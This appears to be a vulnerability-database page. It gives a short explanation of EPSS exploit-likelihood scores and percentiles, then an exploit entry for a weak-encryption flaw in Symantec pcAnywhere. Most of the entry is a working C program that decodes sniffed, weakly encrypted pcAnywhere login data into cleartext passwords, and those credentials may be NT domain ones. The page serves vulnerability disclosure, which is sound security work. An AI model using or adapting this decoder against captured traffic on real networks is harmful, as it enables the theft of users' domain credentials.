EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/1093/info Symantec pcAnywhere is shipped by default with a weak encryption scheme that is used to encrypt username and password transmittal. Therefore, usernames and password can be retrieved by anyone sniffing the network in between the host computer running pcAnywhere and the NT domain controller. Users of pcAnywhere can be authenticated with their NT domain username and password. In this case, the weakly encrypted transmitted authentication would be transmitted domain wide. #include <stdio.h> #include <string.h> void main() { char password[128]; char cleartext[128]; int i; // input the sniffed hex values here // Encrypted example of the 'aaaaa' password password[0]=0xca; password[1]=0xab; password[2]=0xcb; password[3]=0xa8; password[4]=0xca; password[5]='\0'; cleartext[0]=0xca-password[0]+0x61; for (i=1;i<strlen(password);i++) cleartext[i] = password[i-1] ^ password[i] ^ i-1; cleartext[strlen(password)]='\0'; printf("password is %s \n",cleartext); }
